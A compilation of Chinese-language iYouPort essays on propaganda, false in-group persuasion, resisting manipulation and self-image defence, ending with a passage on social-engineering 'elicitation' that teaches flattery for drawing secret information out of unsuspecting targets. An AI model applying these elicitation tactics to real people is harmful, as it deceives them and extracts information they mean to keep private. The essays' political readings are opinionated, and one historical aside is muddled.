当时的统治者和神父能辨认并创造象形文字和符号，而老百姓不能，他们不被允许学习，于是存在于这种文化中的劝导没有任何质疑的阻力。极权主义至今都在沿用类似宣传，每年12月26日的毛诞日，中国包括韶山在内的许多地方都会开展纪念活动，参观过的人会发现，那根本不是在纪念人，而是在祭拜神——今天的毛已经拥有了宗教学意义，人们在神灵化地理解、诠释毛，乃至创造出了制度化的“毛教”。这就是自我劝导在起效的结果。

「图」

「图」

政治宣传和劝导在当下同时存在

并非所有的劝导都是宣传。西欧和美国的部分政客醉心于研究古希腊、古罗马经典的辩论技巧，就是为了让自己的演说更具说服力。这类劝导以争论、辩解、或仅仅是对已知命题表述赞同或反对的论述为主，最终达到教育听众（包括演说者自己）的效果。可以参看林肯在葛底斯堡的演讲，它如今已被很多教材选为标准案例，以解析演说的技巧和威力。

古希腊的“智者”们各地巡回演讲，他们也是最早的以说服为题著书立说的人。“智者”有时也被称为诡辩家，他们对劝导在社会中的作用这一问题持有非常危险的观点。柏拉图认为他们是一群玩弄文字游戏的骗子，混淆年青人的视听，把真理推入晦涩难解的境地。

但由于不是所有人都能对议题做出清晰的推理，劝导术这种邪门的东西对愚笨的人来说一直有很大的威力，因为它可以将真理以一种愚笨的人都能理解的方式表达出来。

现代的宣传大量使用简单化的口号、标语和图像，已经基本不再以告知和启发大众为唯一目的，而是将大众如潮流般推向一个劝导者所期望达到的立场和角度。

当然，政治宣传和劝导只是强化了人们的既有想法，某些想法是真的存在的，但有可能并没被个体强烈的感知到，也没能认识到它们全部的“作用”，直到人们看见“权威性渠道”的讲述。

我们生活在一个信息泛滥的年代，它为信息传播者和接受者都带来了很大的压力，一方面传播者希望在强大的信息噪音中脱颖而出，另方面接受者晕头转向总也拎不清哪边更重。于是权威渠道之权威性便发挥了很大的效力，人们追随知名媒体的脚步从来不慢，被传媒宣传圈套捕获的速度也可想而知。

「图」

「图」

“政治宣传和营销广告异曲同工”

多年来的研究足够证实，大众媒体的影响在特定条件下的确会产生强大的效力。它们能创造出很多微妙抑或间接的收益，换句话说就是，

它们不会去告诉你应该怎么做，而是告诉你“可以这样想”。

比如频繁给人阅读一些“妇女被强奸，不是受到同情和保护，而是被耻笑和侮辱”的新闻报道和故事，如果是在一个封闭环境中、当事人接触不到其他认知和信息的时候，这种影响会变得很强大，如果当事人平日还接触过不少男权思想和表达方式、至少知道他们的存在，其效果还会加倍。当生效后，再告知当事人“有人散播谣言，说你被性侵，这是在污蔑你的名誉，现在发声谴责谣言还来得及，否则……”。

关于更为微妙的措辞问题，后面文章还有介绍。假设平日里没有那些大众传媒的思路扩散，此处的劝导效力就会大减。保守畸形的文化和思想体现在新闻和民间传闻中并非短时间娱众那么简单，极权政府严控新闻和舆论也不仅仅是对单一信息的作用，被剪辑过的资讯将在整体上形成一种文化氛围、思维模型，继而潜移默化的影响受众。

美国政治学者John R. Zaller发现，政治宣传和营销广告异曲同工——在选举中，选民往往只获得某一个候选人的竞选信息，而对其他候选人的情况毫不知情。他发现，在竞选中选民有时会叛离自己所属的政党去为大众传媒曝光度高的候选人投票，这种“叛变率”高达70%。但如果选民们能获得所有候选人的信息时，大众媒体的曝光率所产生的影响就相对较低了。

在本届美国大选中，已经有不少学者指责媒体“在帮助川普提升支持率”，虽然有些苛刻，但也不无道理。川普很懂传播，他深会商业媒体的新闻价值标准，总是能在吸引选民关注和占据头条上一箭双雕。英国脱欧派领导人约翰逊和法拉奇也使用了类似的方法，在公投前相对有较高的曝光度。

中共政府对网络“新阶层”的打压和统战同样意识到了这点，通过审查去限制某些人物曝光度的同时，强化另一些的曝光，于是便造成了大多数公众对改良派公知的了解远超过革命派，改良派在政府的支持下能获得更多的宣传和自我宣传渠道，而被追打的革命派只能躲进小圈子里，影响力大减。我们一直强调更多的翻墙，当然不止为获得某几个链接的顺利打开，而是希望更多人远离墙内这种被按需修剪过的信息环境，它的熏染将让你在不知不觉中改变态度。

「图」

「图」

受众的认知反应

要明白劝导术如何起效，首先要弄清人们对其传达的信息有什么样的认知反应，也就是人们在看到这类信息时心里在想着什么。一条信息劝导能力的大小取决于信息接受者如何读它，并作出怎样的回应，这种回应因个体、环境及信息自身吸引力的不同而改变。比如，有些时候人们会围绕一种论述磨礲淬励，有时又坚守最初主张系马埋轮，而在另一些情形里，人们的判断力会被恐惧、希望和不安全感等情绪雾化。

换言之，大众反应有些时候能达成自我劝导的功效。

近来最热的赵威事件中，绝大多数舆论不支持赵威已妥协、认为是国宝在操纵她的账号，于是他们的思路基本是这样的：1、当局是一贯的骗子 2、当局说什么都不能相信 3、赵威在当局手里，她说的话是被逼迫的 4、揭发当局胁迫发声，保护赵威。这里面还藏着一个逻辑："被迫害者都是自己人，不论他们做了什么"。

我们不妨反过来看这件事：暂且不议是谁在操纵账号，政治事件选择在公开平台上发布是为一种宣传行为，我们就可以用政治宣传的套路来解析它，站在宣传者的角度上看受众的认知反应，也就是宣传者会利用什么而达到目的。

首先，当局深知自己的公信力远不足以直接说服民间，于是他们不去说服，而是让民间自我说服——一点点放出消息，一步步削弱质疑。当然他们这样做是有一定基础的，包括并不限于已经对赵威洗脑成功（否则会弄出林荣基第二），还有对民间反抗思维的熟知——"肯定不相信、认定赵威是"我"官方是"敌"、赵威的民主女神形象不得污染"。铺垫似乎从人身侮辱传闻出现时就开始了，舆论的悲情主义氛围具有对预期内传闻扩大化理解的惯性，当人身侮辱在传播过程中变为了性侵，甚至添加出很多绘声绘色的描述时，当局的第一步构陷任全牛律师的目的就达到了。

其次，民间舆论的纠纷就有自我说服的效力，放料必然会引发相关争议，其中那些曾经有入狱经历的人会告诉质疑者"你缺乏同理心、没经验、对中共的卑劣认识不足"等等，做为相同经历者，他们的说法是很有说服力的，而反驳只能绕开自己"没经验的缺陷"，走传统的所谓贞洁名誉思路，这反而相当于自我否定了。于是信任传闻变成了很大程度上的共识，当局窥视到相关舆情后对赵威施加针对性的劝导。

本网分析过特殊环境下洗脑的强大效力，狱中之人度日如年，被关押

了整整一年的赵威接受连续不断的“专业”劝导后改变了认知，丝毫不奇怪。当局明白，民间没太多人拥有相似经历，体会不到劝导强大的邪恶，即便体验过也难以总结和解构，人们心目中只有一位坚韧不拔的民主女神、一位贞烈的美女，和相关的期待。如果你能扩大一个层面去看整件事的话，民间认知反应的被利用，从“90后美女”标签确立的那一刻就开始了。（不要随意贴标签，或者你会发现，很难重新认识对方）

在标签化期待、悲情主义和习惯性恐惧之下，判断力被削弱了。

并且有趣的是，宣传者还要给质疑者一些“明显的迹象”，让他们继续质疑下去。比如上述那张图被删除了，利用信息不对称民间不了解赵威的夫妻关系、并切断她家里的电话，而通过“丈夫没见到人”去肯定赵威并没有回家，而且还有人发起白宫请愿，要求赵威“现身说话”。请愿链接被发布在情绪化比较严重的群聊中。如果请愿真的成功，赵威真人当众谴责律师，那将是当局最大的胜利。

基本结构就是这样。所谓709专案组制造了一个不小的舆论陷阱，引领民众一步步深入，不仅可以堵住反对者的声音，更可以反驳国际关注的质疑。而且打脸不会只用一次，做为“先例”下次还能用。

人类的思考有种惯性，一有机会就去选择心理认知捷径以保存认知能量，并且会不断的为自己的思想自圆其说，好让它们看起来更合理。于是宣传者总会不断的去研究能让人们产生偏见和情绪爆棚的策略，以利用人的两种基本倾向：认知捷径和自圆其说。

是什么在决定人的想法？人们的认知反应从哪里来？是什么决定了人们对劝导信息的思考？后面的文章本网会慢慢分析。

——未完待续——

原文

警惕微妙的劝导术：虚假帮派——效力最强的宣传攻势 - iYouPort

劝导术（完成）

继续前文。

“我是这样的”，“哎呀太巧了，我也是！”类似的对话你一定熟悉，尤其是在最初相识的人们之间发生的类似对话，后者真的“也是”吗？那可不一定。但这种表述方法对劝导的植入有着不小的作用。

社会心理学领域最有趣、最令人难以置信的发现来自一个概念：“最低限群体范例（minimum group paradigm）”，正是它构成了强力劝导技巧的基础。这一现象最早由英国心理学家塔杰菲尔识别出来，实验人员通过想象得到的最随机的方式，将全然陌生的人挑出来组合成小组，便创造出了一些“虚假帮派”——这个词是美国小说家冯内古特杜撰出来的，原意指的是“骄傲却没有意义的人类关联”。

「图」

「图」

（上图《Prison Break》剧照：副总统身边的特工Paul Adelstein为了接近Sara假扮毒瘾者，在Sara诉说自己的戒毒经历后，他说“我也是”）

中文读者应该最容易理解这个概念，因为中国社会遍地都是小圈子，似乎不少人将圈子理解为共同体、共识体或组织，其实它并没那么简单。本网曾经在《微信式圈子》中以调侃的方式展现过这种虚假帮派的特性和弊端，在《连接的力量》系列中期望能通过互联网的价值打破这种格局，但它明显根植于文化，媒介都无力改变的思维和行为习惯。

塔杰菲尔的研究结果令该实验显得很古怪。尽管这些参与者在实验前互不认识，在此后也没有任何来往，且他们的行为都是匿名的，但他们却在实验中表现出高度抱团、称兄道弟。他们还认为自己的群组比

其他群组更好、成就更大。更令人惊讶的是，参与者还不甘人后地竞相为那些共享相同标签的群成员分配更多的金钱和奖励。

——是什么导致虚假帮派现象的产生？——

有两种心理过程：认知型、和动机型。首先，“我属于这个群体”的信息（或者说标签）被用来分配和理解整体状况，正如我们提到过的标签对前期劝导的强大作用。不同小组之间的不同点被放大了，同一小组之间的相似点却通过“我们”的标签得到了强调。

由此来的严重后果是群组成员被非人性化对待：标签让他们在人们心中变得简单，且常常处在贬损的标签下，比如死胖子、河南骗子、北京油子、丑女、乡巴佬、黑鬼等等。显然对一个抽象观点加以肆虐会容易很多。

其次，圈子是个人自信心和自豪感的来源，“我愿意加入这个接纳我的群体”。为了得到小组其他成员赋予的尊重，人们会不惜余力为其辩护、接受它的象征、惯例和信仰。

虚假帮派具有超高劝服能力的秘密就在这里。如果职业劝导者、政客、布道者和广告商能让人们接受他们设定的虚假帮派，那么人们就有了一种为生活赋予意义的现成方法——那正是劝导者的方法，随着人们的自尊越来越与这些小组相关联，人们便有了强烈保护这个团体的动机，且骄傲地、努力采用并推行该团体的惯例。劝导者实际表达的是：“你我是同一战壕的，现在拿出点行动来，就这样做吧”。

营销商家一直很注重的社群运营也是同一个道理。每个群体都有其特定形象和特别的生活方式，广告和产品厂家有的放矢地瞄准丰厚的市场——换句话说就是，产品被赋予了符合目标市场形象所需的一切，并替代某个虚假帮派进一步建构并固化该形象。

一个电话诈骗犯曾经说过这样的话：“优秀的骗子知道利用任何可以从（受害人）嘴里套出来的信息去对付他们（受害人）自己。如果你告诉我你是二战老兵，那好先生，我是沙漠风暴的退伍军人，这样我们就有共同点了。你要以对方的角度去考虑问题，才便于将你希望做到的事合理化，并让你显得更具亲和力且令人信服”——比如这样：我们是同样的人，有同样的境遇和经历，你可以信任我，因为我能懂你（那么就按我说的做吧）。

情感的共享亦能形成虚假帮派，与他人分享快乐时刻、悲伤情境或者痛苦经历，便能制造与他人的共鸣。这种卓越的贡献能力正是成就一

位极富劝服力的美国总统——罗纳德里根——的决定性因素之一，里根最擅长表达人们正在感觉或乐于感受的情感，他的演讲常常会描述他人的典型情感经历，附加在公共事务上产生强大共鸣，通过这种方式带动国家上下同心，并由此传递出一种潜意识：和里根做对就如同和自己做对。

虚假帮派经常在国家与国际政治层面出现。希特勒通过捏造犹太人和共产主义者带来的威胁、强调正是“共有的雅利安人血统创造了鲜明的德国人特征”。冷战时期，美国和苏联的宣传者互相指着对方鼻子骂其是无视人权和尊严的帝国主义战争贩子。巴尔干各国的如塞尔维亚人、克罗地亚人、穆斯林之间依然纷争不断……一旦这类特征成型，所有行为都将变得“正确和道德”。

——创建一个虚假帮派——

虚假帮派策略需要两部分：由追随者组成的核心集团和未皈依的圈外集团，它并非如字面上所示那般“只有自己人”，否则无法利用形成的对比取得优势。该策略能让你通过不断提醒成员得以控制他们：“如果你想成为本群体成员，就要表现得像自己人，如果你做不到，只能说明你还不行，需要更多锻炼”。经验丰富的成员为新成员以身作则，强烈的同伴压力用来保持一致性。

建立信徒核心集团的基本要素是创立社会实体：创建一种“我们”是谁的形象，加入者同“圈外世界”断绝关系，并接纳新身份。自我标签、独特的行为方式等等都能证明你是该群体的一员，你需要不断的表现这些特征，以区别于“非我族人”。

虚假帮派的反面是建立一个被憎恶的圈外集团，并鼓励自己的成员不停与其“战斗”。它有两个目的，让圈内成员对自己隶属的组织感觉舒服、幸运和满足，“我很高兴自己不是他们”，以及扩大成员对背弃组织之结果的恐惧感，“我不能像他们一样，我不能让他们来掌握世界／局势”。

——减少虚假帮派错误的危险——

现代社会信息嘈杂，试图通过分类和标签的形式将接收到的大量信息减少到更易于控制的范围已经成为人之本能，而希望隶属一个团体且为这种成员身份感到骄傲也完全是人的特性。它当然有积极的作用，比如通过挖掘人们做为世界公民的爱心形象，为慈善事业贡献力量；教堂、清真寺和犹太教成员通过协助饥饿者和不幸的人寻求到人生的意义和宗教认同感。

然而另一些时候，人们也会利用虚假帮派去怂恿他人支持错误的观念、服从独裁者，或者无端憎恶无辜的人。怎样做才能减少虚假帮派策略的危险呢？

提供五个简单的经验法则或许能有帮助。1、应该警惕那些试图构成小团体并将你纳入某个类别的人们。给人贴标签的方法太多了，问问自己："为什么需要这样一个标签，为什么要如此提议"？

2、试着将自尊和达成一个目标相联系，不管是物美价廉的购物、一种社会公益还是推动变革，但肯定不是为坚持某种自我形象，它对你的目标不具备任何价值。

3、不要将自己所有的自尊和骄傲都放在同一个篮子里，一个坚定的派系支持者其实比没有明确派系归属的人更危险，也许会导致狂热主义。我们并不是在杯葛坚定意志，而是提醒避免将自己圈定在一个太小的范围内，也许这个小团体所秉持的是正确的事和理念，但你必须知道，这世上并非只有一种正确，且肯定没有永远正确。

4、寻找共同基础——圈内圈外人都认为可以接纳的目标——做为减少团体界限的主要方法。虚假帮派最喜欢说"只有我们才行，他们都不行"，但真的是这样吗？每个群体都有其价值、能力和优势，淡化界限是减轻自闭和自我边缘的关键。

5、试着以独立个人的角度看待圈外成员，而不是你所处的圈子、自带的标签和被安置的角色。那些"外人"与你的共同点或许比你想象的要多得多。

——未完待续——

原文

警惕微妙的劝导术完结篇：反守为攻 - iYouPort

劝导术（完成）

本系列八篇文章，描述了很多劝说和宣传的策略，也多次探讨了为抵消恶意宣传所能采取的措施。或许我们考虑的依然不够全面，这是个非常复杂的问题，又怎么可能简单呢？我们必然面对的宣传五花八门，不同环境、新机会，以及我们试图去制止它的各种情况都诡异多端。

可以给出两种制止宣传的途径。首先，可以采取防御行动，也就是学会观察宣传，学会抬扛——怎样对一则信息提问，如何揭穿虚假诉诸，以及怎样回应肆无忌惮的宣传攻势。

然而在互联网这种信息稠密的环境里，充斥着各种各样的宣传者，最擅长利用人们的偏见和情感，即便是最训练有素的战士也难以招架每一种攻击。欺骗太过泛滥，你没有太多时间去揭穿全部。我们需要采取攻势行动：确认普通宣传和宣传种子，并将其遏制在源头；制止宣传侵染：采取个人措施来结束它，或者改变你所处的社会处理事件的习惯性方式。

完结篇，我们就从这里入手，进一步讨论行之有效的社会措施。

1、知悉劝说方法，并意识到自己或许就是宣传风潮的受害者

本系列前八篇就是在为你展示各种最常见到的劝导方法，希望读者能更充分的了解这些诡计。不过仅仅是了解有实际价值吗？可能很难说，曾经有相关试验证明，即便在紧急培训结束后迅速考察——让被试识别恶意宣传，其结果都显示培训效果极低。有一种方法能解决这个问题，那就是制造碰壁，只有当人们尝试到恶果并因此损伤了一定自尊和利益的时候，上述知情的效果才能激发出来。

于是我们只能说，仅仅了解是不够的，你还需要多走一步：不要认为除了你之外其他所有人都是宣传受害者，试着把自己看作众矢之的，并充分做好准备。

2、监督你的情感

如果你注意到自己正在对一种信息做出情感反应，问问自己为什么？寻找到诱发情感的事物，如一种虚假承诺、一份需要你担负责任的“礼物”，一种诱发自卑的稀有物品，一种“我们 - 他们”的虚假帮派区分，或者令你感到惭愧或恐慌、急于解决被设置出的问题的信息。

如果你觉得自己的情感被利用了，走出这个局势，并分析为什么，到底发生了什么事。如果你无法自行离开这个情境，可以在心里重新诠释该情境，直到最终可脱离。

3、探求信息来源的可信度

提出这样的问题：“为什么此人要告诉我这些”？“该信息源能让我得到什么”？“说话的人真的具备足够的相关专业性吗，还是一种伪造出来的形象”？“该专家能否用清晰明白的语言解释议题，还是只为迷惑人、以让人眼花缭乱为目的的装腔作势”？

4、尽可能脱离情绪去思考任何提议或议题

对此提出这样的问题：“这个议题究竟是什么”？“可以用什么样的标签或语言来描述它”？“这些标签是否都恰当”？“当前讨论的是怎样的思路或行动方案”？“哪些论据可以支持宣传者的主张”？“哪些论据会与之对立”？“宣传者采取的观点究竟有多中肯”？

5、做决策前试着弄清全方位的选择

提出下面的问题：“为什么以这种方式将这些选择提供给我”？“是否存在没有被展示出的其他方式”？“如果我选择了没有被推荐的选项，结果会怎么样”？

6、不要紧盯着领导人的嘴巴，要看他的手

换句话说就是，不要将评估建立在他人讲出的话上，而是需要观察他们的行动。美国大选进行到近日已高度火爆，相关中文舆论却杜撰出不少候选人的言辞（竞选口号、施政誓言），这些虚假的东西甚至比真实的报道流传更广，因为它切中了中国人的某种利益和期待。且不说渠道本身就很可疑，并非来自可靠的美国媒体，最重要的是类似假消息在墙内中文舆论场引发的认同程度，它显示出中国网民对政客言辞的追求远高于其行为，这正是最容易被欺骗的认知习惯。

「图」

「图」

7、小心伪真相

可以以闲散的传言和讽喻为例，似乎出于人之本性，大多数人兴致勃勃地收听和复述那些谣传，为什么呢？它们中很多明摆着连基础认知都不达标。正如我们先前注意到的，传言往往涉及名人，辛辣刺激的绯闻等小故事，而这些东西被放出来，基本都是有目的的，那是操控者的目的，并且不一定与你的目的一致，还很可能让你想不到。而你的信任便是实现操控者目的的必需。你可以提出这样的问题："此事的证据何在"？"传播者到底是从哪里知道它的，这一渠道是否能真正了解到事实"？"你愿意试着说服公众该故事是真实的吗"？让传言的提供者要么明确展示证据，要么闭嘴。

8、谷歌搜索的误导性

我们应该不止一次提醒过这个显然是明摆着的问题：你去搜索使用的关键字如果不实，搜出再多的结果也不能证明信息是真实的。同样的道理，你所听到的"新闻"被反复重复播放，来自不同的媒体互相援引，这种时候问问为什么，很有必要。近期最明显的一个例子就是"习李矛盾"的传言，连华尔街日报都中招了（目前已撤稿）。媒体对吸睛度的追求迫使他们不断探寻那些奇闻逸事，并在放大一些的同时缩小了另一些，信息消费者应该认识到这种必然存在的现象，从而放低对媒体构建的图景的确信程度。

不止大众媒体，虚假帮派也能制造出类似的错误认同。曾经有很多试验得到同一个结论，关于从众可能性的判断完全可以确认，它解释了为什么人们会随波逐流地给出错误的答案——当每个人都在做同样的事时，将其作为一种线索并提出"为什么"，这对于避免不值得发生的从众错误是一个很好的建议。

9、经常提醒自己：证据的反面是什么

"需要什么才能证明我或其他人是错的？"这有助于人们避免仅因一种观点赏心悦目，或者其表达方式惹人喜欢而扰乱了自己的立场。也能刺激辩论，并促进你最终选择到满意的、正确的行为。

10、避免依赖单一的信息源

如极权主义和宗教那种强势宣传的特征之一就是制造一种视角的信息集中。随着大众媒体产业的相互联合并购，读者们所能依赖的渠道越

来越小，更有信息的大量援引，形成一种“公认正确”的假象，有必要识别它。

11、将新闻视作新闻本身

这应该不是句废话。互联网时代是娱乐的时代，新闻为了从中争取到流量更多会变换表现形式，更多贴近娱乐化。信息接受者需要在心里将它们分开，也不要指望新闻媒体能为了确保收视率而将每一个“事件”转变为娱乐场景。

新闻媒体是少数能做为政治和商务的监督机构之一，如果它们不能履行该职能，人们就不可能得到完整的所需信息，甚至在一个虚假的图景中被引导到莫名其妙的地方。

「图」

「图」

12、与阶层有关的部分

本文谈阶层问题似乎文不对题，对宣传的警惕性和阶层有关吗？或许是有的。宣传的种子往往建立在人们对自我现状和生活机会的不满之上。很多历史实验证明，宣传在人们怀有被剥夺感时最为活跃，哪怕只是他们感觉自己获得的少于应得的。那些怀有相对被剥夺感的人们最有可能成为别人的替罪羊，例如参与种族暴力、加入军事集团，和拥护煽动性政治家。

希特勒上台前，德国经济形势动荡；1882～1930年的南美，棉花价格大降，美国黑人被私刑处死的概率大增。相关例子还有很多，相比之下，感觉参与到经济事务中的典型的中产阶级特征（有住宅和私家车、足够的银行存款、体面的工作带来的荣耀）通常伴随着责任感和对公共事务的担心，且因此会更多审视劝说性的信息。贫穷会引发更多服从这个概念并非稀罕，看朝鲜。

13、最关键的问题放在最后：推进民主制度

人们经常会想当然地理解民主制度本质，认为它不过是多数决定原则、或能自行其是的自由。其实不那么简单，民主是一种鼓励审议说服性信息的社会关系，并且尊重所有公民的权利和责任。

同专制政治相对的，民主的标志包括以下几点：

1、信息是分散式的，信源多种多样——这就是我们常说的鼓励翻墙融入自由信息环境的利好之一，信息自由绝不等于信息正确，它锻炼的是人们主动积极的分析判断能力，拒绝被任何一种宣传攻势入侵的能力。有中文网友认为“twitter也有赵家党宣和五毛大军，跟墙内没什么区别”，这种观点可以说非常“中国”。

2、权威和势力受到制约和平衡体系的约束——认知和理解不会受到太过严重的权威压制，你有机会独立思考。

3、通过讨论、而非领导的命令，颁布议程和目标——中文舆论场的讨论整体低效，人们碍于面子和对领导者的所谓尊重而下意识选择认同，这些都是政治原因造成的判断力低下和易于被劝服。

4、同单方面接受来自领导阶层的影响相比，在领导和民众之间存在互相影响——互联网带来了宣传的错综复杂的路径，一定程度上能削减命令指示的威力，但社会心理和行为习惯同样非常强大，在中文舆论场我们可以很清楚地看到这点。

5、同一个死板的社会结构相比，团体界限和角色更为灵活——这点也是非常重要的，虚假帮派是最高效的劝导策略。

6、鼓励少数派发言以做为得出最佳决策的方式，并且保护少数派的权利。

厌恶极权社会、寻求变革的人们应该将这些特性熟记，并发扬，在采纳一项社会政策的时候、在与他人交流的时候，在做出后果超乎个人利益的决策时。

这是个宣传的时代，几乎没有人具备处理大量信息的时间、机会或超能力。这就大大增加了发言人无视道理、依靠情感刺激和简化思想以操控信仰和意见的机会。传播者似乎越来越多的依赖偏见和情感，而非充分探讨，利用生动画面而非深思熟虑的论据，利用无意义的联想而非有理有据的因果分析，利用煽动家的宣传，而非劝导的说服策略。

随着人们对公共事务越来越不知情、对“精彩有趣”越来越高的追求，宣传者不得不使用更为简化的表述法去实现劝服，结果便成为一个无知的螺旋：愤世嫉俗的民众受到轻率的宣传便开始狂舞，而他们越来越缺乏处理技巧和意向，以及理解力，这点在中文网络环境中已非常突出。希特勒癫狂地称民众是“无知和愚蠢的”，因为那一时刻他把握了劝导最坚实的绳索。

避免可怕后果就是本系列话题的唯一的目的。感谢您的阅读，希望它能有所帮助。

原文

“我永远正确”背后的动机 - iYouPort

你如何正在被互联网所改变-媒介效应社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

你肯定见过这样的人，他总是对的、强调自己是对的，哪怕他前后观点有明显差异，那也肯定源于自己的领会而不是“接受了别人的意见”；或者你觉得很难说服他人，哪怕他们一时下表达了对你的支持，转过头来没多久你在其他场合看到他们的时候，依旧是他们自己早前的观点丝毫没有你的痕迹。

「图」

「图」

妈妈说，不要尝试改变他人的想法，你肯定会失败的。有一些经过了反复验证而确立的结论，比如，人们接触的信息越多，就越会觉得自己才是正确无误的；匿名程度越高，越容易表现轻狂自大，如此来，互联网社交的特征恰好变成了类偏执状况的培养基？

——维持自尊的努力——

上面这个小标题是Harry Stack Sullivan的理论基石，在他那个年代，大部分心理学家使用的都是弗洛伊德的驱动力理论——弗洛伊德认为人们有一种强烈的需要，避免可能会摧毁自尊的觉察，他使用的是censorship（审查者）的概念来解释癔症症状——但Sullivan相信，与试图满足我们深层的性或攻击冲动相比，人们会更为积极的而又潜意识地参与一些操纵活动，以此来捍卫自我意识的稳定性，也就是维持自我形象的稳定性。

这点在互联网上的表现比现实中更容易观察，因为切换页面（场域）易如反掌，于是给对比带来便利。比如你会能发现，有些人在不同平台上给人的印象不同、或者公开发言和群聊交流给人的印象不同，除非是非常熟悉此人的朋友，甚至会误会“被盗号”。打个比方，twitter

上时政内容论述显得一身正气，因为面对的或者说随时准备迎接的是反对者的回应；Facebook熟人亲友互动时显得很生活化，比较温和，因为不需要太多捍卫自我正确的形象；小圈子群聊属于非匿名状态，会保持一种饭局式的随意感，比较重视私人化互动、措辞简约——用一种能强化默契感的表达方式来衬托关系亲密，“外人”很可能听不懂；非圈子群聊中态度冷淡，一种类似排异的需求令表达方式很容易极端化，这里的极端比公开平台程度要高。注意，上述这些是很微妙的，除非长期仔细观察才有机会发现，当事人自己也不一定能意识到。

你发现了吗？潜意识在扫描情境、迅速帮你定位形象，这可比用意识去挑选出门赴约的衣着快多了，你的自尊需求能很好的与所处情境相匹配，是从经验积累出的熟悉感，保持稳定性的一种防御工事。

Sullivan创造了“自我系统”的概念，用来描述一系列自动化的防御策略，以此抵挡来自情境变更的、对自我稳定性的威胁。他对自我本身并不感兴趣，只是把它简单的界定为“一切我们认为属于我们自己的事物”，最重要的是，当我们认为一些特质和形象是我们自己的时就会努力去保护他们免受焦虑的威胁——一切有可能严重干扰平衡状态的事物、一切有可能改变与他人交往现存模式的事件，都会引发焦虑和紧张，并需要采取行动来缓解焦虑，这些行动完全在潜意识下。反过来看就是，你很难甚至说无法通过忽略人际关系这个层面单纯用观点去交锋，对方给了你什么标签，此后你的任何言论都将在贴有这一标签的眼镜后面审视。

刻板印象是个很顽固的东西，心理学总是在提醒人们警惕下意识形成的刻板印象，该如何去定义某人这个问题你绝不可能仅凭其几个动作、几条twitter或者一两件事来获得正确答案，但现实却是，大多数人都这么干了，甚至为了一个预设的定义而“挖掘”此人的弊端、断章取义的解释，以求靠拢那个预设定义来证明自己是正确的。荒唐不？

twitter中文圈的“反民斗”群体很有此特征，他们存在一个预设的有关“民斗”的概念（形象），不管它是否正确、或者在多大范围内正确，如果某账号频繁发布时政类资讯和观点就会自动被套入上述概念，平衡感在于“我了解你了，你就是这种人”。反过来，对被审视方而言，就如同八卦新闻中的“伪真相”引发现实真相一样，长期被贴标签的人有可能会不由自主的表现出该标签状态。

精神分析专家Stren认为：可以用更简单的方式去描述自我系统的任务，即拒绝接受和形成新异形式，因为新异的体验很可能是危险的，

安全感来自于具有熟悉性。我们并不像我们认为的那样能很好的理解事物、对大部分事件都具有掌控力，并且很可能无法对当前计划要做的事百分百确信，结果就是，自我系统被激活，来维持现状的整合性。

Sullivan认为，存在不同强度的威胁。在日常生活中，你会选择性的不去注意一些信息，因为这些信息与你需要维持的世界和自我信念不一致；更危险的威胁来自于分离反应，这种反应会将信息完全抹去，令自己保持一种绝对的观察片面。这里的重点在于，上述对环境的“监控（编辑）”动作一直持续存在着，并且绝大部分时候都是潜意识活动。

——潜意识动机——

因为维护自我形象而采取的编辑措施扩展了对动机的理解。其实大多数时候，你会不知道自己为什么要这样做（或者没去想过为什么），虽然这个事实让人很难接受。正如我们所看到的，当人们不像他们看起来那样能够控制自己的行为时就可能造成心理伤害，人们会做出一些解释来避免这种心理伤害。尤其是当这些动机没有吸引力、或者不被社会所接受时，这种方式会被明显放大。

承认自己有报复心理、功利、嫉妒、吝啬或者卑鄙是非常困难的，通常承认无知、依赖、逻辑混乱等，或只是无心出错也会引起尴尬，我们不希望他人知道自己存在这样的一面，于是拼命掩饰。

互信度过低的社会里，大多数人很难交到非常知心的朋友，会经常感觉孤单、不快乐，身边的人像过客一样留不下任何痕迹，金钱积累的友情很难给人带来安全感。这种状况下，人们更容易对“朋友”的标准产生一些夸张的、理想化的想法，进一步加深了孤独感，因为不再有人能合乎你的标准。于是，你会不断感觉到被背叛，不断的谴责积累出更多的不满足感。

当你谴责他人自私自利不够哥们的时候，或许是在避免谴责自己，你预设了一个前提：自己是完全正确的，你很可能考虑过某些遭遇源于自己的失误，但你也可能因为难以承认它，承认会带来尴尬或恐惧，于是下意识的隐藏。孤立和不快乐通过了长年积累，它所带来的想法和感受一直隐藏在适应的行为之下。对周边人的愤慨能达到几个目的，其中最重要的目的是，避免激活那些旧有的无价值感和不胜任感，自我系统找到了一些更安全的打击目标：旁人。

欺骗自己或许会能保护自己，但很多时候它是有害的，它加倍削弱你的互信能力、让你持续处于一种深层因素带来的恐惧中，甚至就在保护自己的时候，你也能察觉到，自己不敢面对的究竟是什么。

——未完待续——

原文

5种有效的社交工程启发术 - iYouPort

社交工程-反操纵、反欺骗

如何让一个人毫不犹豫地吐露致命信息？

「图」

「图」

根据 FBI 的定义，*启发*是一种可以有效钓取情报的技术。也就是说，*启发*是一种看似随意对话的战略，用于从目标人中提取信息，而不会让他们感觉到自己正在被询问，不会感觉到任何压力。

这是个技术活。因为稍不留神就可能引起目标人的警惕，对方就会碍于很多想象中的危险而拒绝进一步的交流。社交工程师使用*启发*的技术收集有价值的信息，然后在开展更大规模的社交工程活动中有效地使用它们。

我们下面来介绍一些 FBI 的小把戏，你知道的，它们可以用在正义的目的上！更多详见：《语言是强大的武器 — — 如何使用它？社交工程攻击演示》以下一共五个常用方法，另外推荐一本书《“社交工程师的剧本：一个实用的 Pretexting 指南”》

1、奉承

不是中国式的拍马屁哦！这是门学问，你需要做到调动目标人的自豪感，并且同时丝毫不会显露你的目的，它看起来就像是一种极为普通的描述和无心的闲谈。

吹牛不论是在东方还是西方都是不受欢迎的。人们常常会为自己的成就而感到骄傲，但是由于这份传统的耻辱感而找不到分享这些成就的机会。而当我们称赞一个人时，它通常会自然而然地打开吹牛的大门。

例如，如果你真情实意地赞美对方，他们可能就会感到不得不详细说明自己参与的项目。即使目标人正在贬低赞美、以示谦虚，他们也会

下意识地主动谈论你发起的主题并很可能放弃信息的保密性。一个优秀的社交工程师应该通过深入挖掘这些人类的潜意识来利用这个机会。

值得一提的是，即便你描述得有点夸大也很少会引发反击。你可以完全打开目标人的话匣子。一个健谈的目标可以成为社交工程师的信息金矿。

而另一方面，需要注意的是，如果你在提到目标的衣服或亲友时采取夸张的奉承，很可能是灾难性的！这种方法必须用机智来处理。性骚扰或临界骚扰声明绝不应成为社交工程计划的一部分。因此，应该不惜一切代价避免它。

